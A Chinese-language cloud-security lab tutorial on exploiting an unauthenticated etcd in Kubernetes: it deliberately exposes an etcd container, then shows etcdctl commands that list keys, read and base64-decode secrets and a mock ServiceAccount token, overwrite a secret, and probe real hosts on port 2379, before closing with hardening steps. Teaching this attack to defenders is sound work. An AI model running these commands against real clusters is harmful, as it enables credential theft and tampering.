etcd 是 Kubernetes 的"数据库",集群里所有对象(包括 Secret)都存在这里。etcd 一旦被未授权访问,等于整个集群的机密全部泄露,甚至可被篡改。
一、etcd 是什么
etcd 是一个分布式键值(Key-Value)存储 ,特点是强一致(基于 Raft 共识算法)、高可用。它最出名的用途就是作为 Kubernetes 的唯一数据存储后端。
在 K8s 里:
-
你
kubectl create secret,Secret 最终被序列化后存进 etcd。 -
apiserver 是唯一直接读写 etcd 的组件。
-
集群的一切状态------Pod、Service、Secret、ServiceAccount token、RBAC 规则------都在 etcd 里。
一句话:拿到 etcd = 拿到整个集群的"数据库文件"。
本实验的 k3s 默认用 SQLite 作为数据存储,不直接暴露 etcd。为了教学,我们单独用容器起了一个无认证的 etcd(模拟生产中被错误暴露的 etcd)。
二、etcd 基础概念
2.1 端口
| 端口 | 用途 | 说明 |
|---|---|---|
| 2379 | 客户端通信(client) | etcdctl、apiserver 用它读写数据 |
| 2380 | 节点间通信(peer) | 集群内部 Raft 复制 |
2379 是攻击者最关心的端口。
2.2 API 版本
etcd 有 v2 和 v3 两套 API,数据不互通:
-
v2:HTTP + JSON,路径式(
/v2/keys/...)。 -
v3:gRPC(也支持 HTTP/JSON 网关),支持 MVCC、事务、租约。
现在主流是 v3,工具用 etcdctl。
2.3 安全机制(正常应该有的)
| 机制 | 参数 | 作用 |
|---|---|---|
| 客户端证书认证 | --client-cert-auth |
客户端必须带证书才能连 |
| TLS 加密 | --cert-file/--key-file/--trusted-ca-file |
通信加密 |
| 身份认证 | --auth-token + 用户密码 |
v3 支持 RBAC |
| 只监听内网 | --listen-client-urls |
限制监听地址 |
未授权访问的典型成因 :没开 --client-cert-auth、没设密码、且 2379 暴露到可访问的网络。
三、实验环境搭建
远端脚本:
bash /opt/cloudsec-labs/etcd/start-etcd.sh
脚本核心命令:
docker run -d --name etcd-lab \
-p 2379:2379 -p 2380:2380 \
-v etcd-lab-data:/etcd-data \
quay.io/coreos/etcd:v3.5.15 \
/usr/local/bin/etcd \
--name=etcd-lab \
--data-dir=/etcd-data \
--listen-client-urls=http://0.0.0.0:2379 \
--advertise-client-urls=http://192.168.143.156:2379 \
--listen-peer-urls=http://0.0.0.0:2380 \
--initial-advertise-peer-urls=http://192.168.143.156:2380 \
--initial-cluster=etcd-lab=http://192.168.143.156:2380
逐段解释:
-
-p 2379:2379 -p 2380:2380:把容器端口映射到宿主机(宿主端口:容器端口)。 -
-v etcd-lab-data:/etcd-data:用一个命名卷持久化数据。 -
quay.io/coreos/etcd:v3.5.15:etcd 官方镜像(在 quay.io 上)。 -
--name=etcd-lab:节点名。 -
--data-dir=/etcd-data:数据目录。 -
--listen-client-urls=http://0.0.0.0:2379:监听所有网卡的 2379(这就是暴露的根源;生产应只监听内网 IP)。 -
--advertise-client-urls:告诉客户端用哪个地址连。 -
--listen-peer-urls/--initial-advertise-peer-urls/--initial-cluster:peer 集群配置(单节点也要写)。 -
注意:整条命令没有任何
--client-cert-auth、没有 TLS、没有密码 → 无认证。
真实回显:
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
| ENDPOINT | ID | VERSION | DB SIZE | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS |
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
| http://127.0.0.1:2379 | 45275cf9dde76f4e | 3.5.15 | 20 kB | true | false | 2 | 4 | 4 | |
+-----------------------+------------------+---------+---------+-----------+------------+-----------+------------+--------------------+--------+
[!] 注意:该实例未开启客户端证书认证(--client-cert-auth),任何人可读写。
四、etcdctl 使用
etcdctl 是 etcd 的命令行客户端。v3 需要设置 ETCDCTL_API=3(旧版本必须,新版本默认 v3)。
由于攻击者机器上不一定装了 etcdctl,脚本用一次性容器来当客户端:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / --prefix --keys-only
脚本内容:
docker run --rm --network host quay.io/coreos/etcd:v3.5.15 \
/usr/local/bin/etcdctl --endpoints=http://192.168.143.156:2379 "$@"
逐段解释:
-
docker run --rm:跑完就删的临时容器。 -
--network host:容器直接用宿主机网络(这样能访问 2379)。 -
--endpoints=http://192.168.143.156:2379:指定 etcd 地址。 -
"$@":把脚本收到的参数原样传给 etcdctl。
常用子命令:
| 命令 | 作用 |
|---|---|
get <key> |
读取一个 key |
get <prefix> --prefix |
按前缀读取一批 |
--keys-only |
只列出 key,不显示值 |
put <key> <value> |
写入/覆盖 |
del <key> |
删除 |
watch <key> |
监听变化 |
endpoint status |
查看集群状态 |
五、模拟 K8s 数据
K8s 把数据按固定前缀存放:
| 前缀 | 内容 |
|---|---|
/registry/secrets/<namespace>/<name> |
Secret(base64) |
/registry/serviceaccounts/<ns>/<name> |
ServiceAccount |
/registry/pods/<ns>/<name> |
Pod |
/registry/roles/...、/registry/rolebindings/... |
RBAC |
写入模拟数据:
bash /opt/cloudsec-labs/etcd/seed-data.sh
核心命令:
docker exec etcd-lab /usr/local/bin/etcdctl --endpoints=http://127.0.0.1:2379 \
put /registry/secrets/default/db-password \
"$(printf 'admin:Passw0rd!2026' | base64)"
逐段解释:
-
docker exec etcd-lab ...:进入 etcd 容器执行 etcdctl。 -
put /registry/secrets/default/db-password:写一个 key,路径模仿 K8s 的 Secret 存储位置。 -
printf 'admin:Passw0rd!2026' | base64:把明文密码转成 base64(K8s Secret 就是这样存的)。printf比echo更可控(不额外加换行)。
真实回显(列出已写入的 key):
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token
六、攻击:未授权读取
攻击者视角(不认证、直接读):
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password --print-value-only
--print-value-only:只打印值,方便直接拿去解码。
真实回显:
YWRtaW46UGFzc3cwcmQhMjAyNg==
解码:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/default/db-password --print-value-only | base64 -d
输出:
admin:Passw0rd!2026
这就是 K8s Secret 泄露的完整过程:未授权访问 etcd → 读取 Secret → base64 解码 → 拿到明文密码。
列出所有 key(信息收集):
bash /opt/cloudsec-labs/etcd/etcdctl.sh get / --prefix --keys-only
真实回显:
/registry/pods/default/nginx-7d8f9c-abcde
/registry/secrets/default/db-password
/registry/secrets/kube-system/default-token-abc12/token
etcdctl如果没设置ETCDCTL_API=3,会按 v2 解析并报错。可以用ETCDCTL_API=3 etcdctl ...显式指定。官方 3.4+ 默认 v3。
七、攻击:读取 ServiceAccount Token
/registry/secrets/kube-system/default-token-abc12/token 里模拟了一个 SA token:
bash /opt/cloudsec-labs/etcd/etcdctl.sh get /registry/secrets/kube-system/default-token-abc12/token --print-value-only
真实回显:
eyJhbGciOiJSUzI1NiIsImtpZCI6ImZha2UifQ.fake-jwt-token-for-lab
在真实集群里,这个 token 可以直接拿去调 apiserver。结合第 04 篇的 curl -H "Authorization: Bearer <token>",攻击者就能以该身份操作集群。
攻击链:未授权 etcd → 读 SA token → 冒充 Pod 身份 → 根据 RBAC 权限横向/提权。
八、攻击:篡改数据
etcd 未授权不只是"读",还能"写"。攻击者可以:
-
修改 Secret(把服务密码改成自己的)。
-
修改 RBAC(给某个 SA 加 cluster-admin)。
-
删除数据造成拒绝服务。
-
植入恶意配置。
示例(仅演示,勿在生产尝试):
bash /opt/cloudsec-labs/etcd/etcdctl.sh put /registry/secrets/default/db-password "$(printf 'admin:hacked' | base64)"
危害:比只读更严重,属于完整性破坏,可导致业务被完全控制。
九、真实环境中的利用流程
在真实 K8s 里,攻击者通常这样发现并利用 etcd:
-
发现:扫描内网 2379 端口;或通过 SSRF 访问;或从节点上的 etcd 客户端证书文件读取。
-
探测:
curl -s http://<ip>:2379/version curl -s http://<ip>:2379/v2/keys/ # v2 直接遍历 -
读取:
ETCDCTL_API=3 etcdctl --endpoints=<ip>:2379 get / --prefix --keys-only ETCDCTL_API=3 etcdctl --endpoints=<ip>:2379 get /registry/secrets --prefix -
解码 Secret,获取数据库密码、云 AK/SK、SA token。
-
横向:用泄露凭证访问其他系统,或直接用 SA token 操作集群。
十、防御
10.1 核心措施
-
开启客户端证书认证 :
--client-cert-auth,并配置--trusted-ca-file。 -
启用 TLS :
--cert-file、--key-file。 -
只监听内网/本机 :
--listen-client-urls=http://127.0.0.1:2379或内网 IP,绝不监听 0.0.0.0 并暴露到公网。 -
防火墙/安全组:2379/2380 只允许 apiserver 节点访问。
-
启用 etcd RBAC (
auth enable),最小权限。 -
Secret 静态加密 :在 apiserver 配置
EncryptionConfiguration,让写进 etcd 的 Secret 是密文(即使 etcd 泄露也拿不到明文)。 -
定期备份 :
etcdctl snapshot save,并妥善保管(备份文件同样敏感)。 -
审计与监控:监控对 etcd 的异常访问。
10.2 检查清单
# 确认 etcd 是否监听在公网
ss -lntp | grep 2379
# 确认是否开启客户端证书认证(看启动参数)
ps -ef | grep etcd | grep client-cert-auth
十一、清理实验
docker rm -f etcd-lab
十二、本篇小结
-
etcd 是 K8s 的唯一数据存储,含所有 Secret 和 token。
-
客户端端口 2379 ,peer 端口 2380。
-
未授权成因:无 TLS、无
--client-cert-auth、监听 0.0.0.0 且暴露。 -
利用:
get / --prefix --keys-only列 key → 读/registry/secrets/...→ base64 解码。 -
危害不止泄密,还能篡改。
-
防御核心:客户端证书 + TLS + 只监听内网 + Secret 静态加密。